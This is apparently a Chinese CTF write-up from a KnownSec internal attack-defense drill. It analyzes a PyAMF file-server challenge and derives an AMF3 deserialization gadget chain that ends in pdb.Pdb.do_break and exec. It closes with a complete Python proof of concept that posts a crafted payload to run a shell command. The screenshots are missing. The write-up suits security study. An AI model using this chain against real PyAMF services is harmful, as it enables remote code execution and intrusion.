作者 修订时间
wjlin0 2023-10-20 13:40:20

KnownSec 2023年度第五次内部攻防演练

题目源码 -> vyrpgtqhknoxypax.bz2

对题目下载的源码分析,发现为一个简易的文件服务器,但是需要密码才能登录

from pyamf.remoting.gateway.wsgi import WSGIGateway

import logging

logger = logging.getLogger()
logger.setLevel(logging.DEBUG)  # 设置日志级别为 NOTSET

# 创建一个 StreamHandler 处理器并设置其级别为 DEBUG
stream_handler = logging.StreamHandler()
stream_handler.setLevel(logging.DEBUG)

# 创建一个格式化器并将其应用于处理器
formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')
stream_handler.setFormatter(formatter)

# 将处理器添加到 logger
logger.addHandler(stream_handler)



ADMIN_USER = "??"
ADMIN_PASS = "??"


class FileManagerService:
    def read(self, filename):
        with open(filename, "rb") as f:
            return f.read()

    def list(self, path="/"):
        import os
        return os.listdir(path)


def auth(username, password):
    if username == ADMIN_USER and password == ADMIN_PASS:
        return True

    return False


gateway = WSGIGateway({"file_manager": FileManagerService}, authenticator=auth, logger=logger)


if __name__ == "__main__":
    from wsgiref import simple_server

    host = "0.0.0.0"
    port = 5000

    httpd = simple_server.WSGIServer((host, port), simple_server.WSGIRequestHandler)
    httpd.set_app(gateway)

    logger.info("Running Authentication AMF gateway on http://%s:%d" % (host, port))

    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass

github上的 pyamf 介绍可以看到 他是与Flash的amf兼容的一个库,与常用的python web框架Django,Pylons,Twisted,SQLAlchemy,web2py兼容。

image-20230928152047488

它可以利用amf协议定义下的格式,进行远程对象调用、执行,于是只要满足amf格式的对象就能够进行远程调用,即可;

通过查阅资料可以得知,AMF3需要满足以下格式

00 03 00 00 00 01 00 01 61 00 01 62 ......
# 00 03 amf协议的版本号 3
# 00 00 头部数据 为0 
# 00 01 消息体 1
# 00 01 目标长度 
# 61 目标 -> a
# 00 01 接收长度
# 62 接收方 b
# ..... 消息体

而消息体只需要满足是amf转换的 对象 int、bool、等类型的数据均可被传递

image-20230928155624774

py3amf这个包中,它本身支持序列化和反序列化,于是我们只需要了解它的调用过程,就可以利用这一特点进行远程代码执行。

pyamf\remoting\gateway\wsgi.py 这个方法对远程代码进行了解码操作

image-20230928155934795

跟进,就会发现它读出了我们设定的target和response

image-20230928160140437

image-20230928160222907

而关键就在decoder.readElement()->self._readElemnt()

image-20230928160256940

image-20230928160357959

首先是读出了字节是哪种类型

image-20230928160545964

而这个函数就是读出amf格式的对象

image-20230928160649837

首先会读出类名 -> 静态属性、动态属性,这就完成了一个对象的加载。

image-20230928161017686

image-20230928161046419

image-20230928161110524

但最后为何会触发这些被实例化的对象呢,我们知道在python 存在某些魔法方法,当在一定条件下,就会触发,例如,以下函数:

img

img

img

img

img

img

所以后续操作时,很容易就会触发这些魔法方法,当我们就需要寻找 在那个魔法方法里能够找到一个 我们可以控制并调用的其他对象的方法的一些调用链,最终找到能够控制的函数调用 evalexecos.system

然而这道题给了我们提示,在这个建议的文件服务器中,满足一定条件就可以调用我们生成出来的service

如下所示

image-20230928162028502

image-20230928162135714

不难看出,只要self.service、method、params可以控制,就可以实现任意类的公有方法调用,所以我们需要向上查找,那个能够对象触发pyamf.remoting.gateway.ServiceWrapper__call__方法、满足调用时存在两个参数,并且能够实例化时不需要任何参数,就能够实例化,很遗憾我没有直接 直接找到这么一个类满足这个条件,但我找到了一个类可以通过重复调用自己使其满足两个,并且它的__new__ 方法不需要任何参数

image-20230928165235163

我发现这个最外层的对象在 Request()中进行,空对象比较是,会触发__len__方法

image-20230928165553526

image-20230928165646492

所以后面能够衔接 只要调用属性对象被当成方法调用即可

image-20230928165738257

最终在pyamf.util.pure.BytesIOProxy__len__ 找到了

image-20230928165747768

我们此时能够对任意类的任意方法执行了,于是找一个执行了eval、exec 的方法即可,一个常用的类pdb.Pdb中的很多方法都调用了exec,但我们需要一个公开的方法 do_break

image-20230928171305147

于是完整的poc如下

from pyamf import amf0, amf3, util

AMF = amf3


def serialize(obj):
    stream = util.BufferedByteStream()
    context = AMF.Context()
    encoder = AMF.Encoder(stream, context)
    encoder.writeElement(obj)
    return stream.getvalue()


def deserialize(data):
    stream = util.BufferedByteStream(data)
    context = AMF.Context()
    decoder = AMF.Decoder(stream, context)
    return decoder.readElement()


def serialize_attrs(attrs):
    s = b""
    for k, v in attrs.items():
        s += serialize(k)[1:]
        if isinstance(v, Obj):
            s += v.serialize()
        else:
            s += serialize(v)

    s += serialize(None)
    return s


class Obj:
    def __init__(self, _name, **kwargs):
        self.name = _name
        self.attrs = kwargs

    def serialize(self):
        s = b"\x0a\x0b" + serialize(self.name)[1:]
        s += serialize_attrs(self.attrs)
        return s

serialized = Obj(
    "pyamf.util.pure.BytesIOProxy",
    _len_changed=True,
    _len=48763,
    _get_len=Obj(
        "xmlrpc.client._Method",
        _Method__send=Obj(
            "xmlrpc.client._Method",
            _Method__send=Obj(
                "pyamf.remoting.gateway.ServiceWrapper",
                service=Obj(
                    "pdb.Pdb",
                    curframe=Obj("pyamf.adapters._weakref.Foo", f_globals={}),
                    curframe_locals={},
                    stdout=None
                ),
            ),
            _Method__name="do_break",
        ),
        _Method__name="""
        __import__("os").system("dir")
        """.strip(),  # your exploit here
    ),
).serialize()



import requests

serialized = b"\x11" + serialized
r = requests.post(
    "http://localhost:5000/",
    data=b"\x00\x03"
         + b"\x00\x00"
         + b"\x00\x01"
         + b"\x00\x01c"
         + b"\x00\x01b"
         + len(serialized).to_bytes(4, "big") + serialized,
)

print(r.text)

Referer

results matching ""

    No results matching ""